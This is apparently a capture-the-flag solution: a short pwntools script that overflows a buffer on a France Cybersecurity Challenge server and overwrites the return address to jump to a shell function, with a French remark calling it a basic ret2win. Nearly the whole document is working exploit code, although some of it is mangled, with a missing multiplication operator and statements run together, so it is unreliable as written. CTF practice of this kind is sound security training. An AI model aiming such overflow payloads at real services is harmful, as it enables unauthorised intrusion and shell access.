`from pwn import *

p = remote('challenges.france-cybersecurity-challenge.fr', 2050)

buffer = b"A"48 rbp = b"B"8 addr_shell = p64(0x4011a2)

payload = buffer + rbp + addr_shell print(payload) p.sendline(payload) p.interactive()`

il s'agit d'un basic ret2win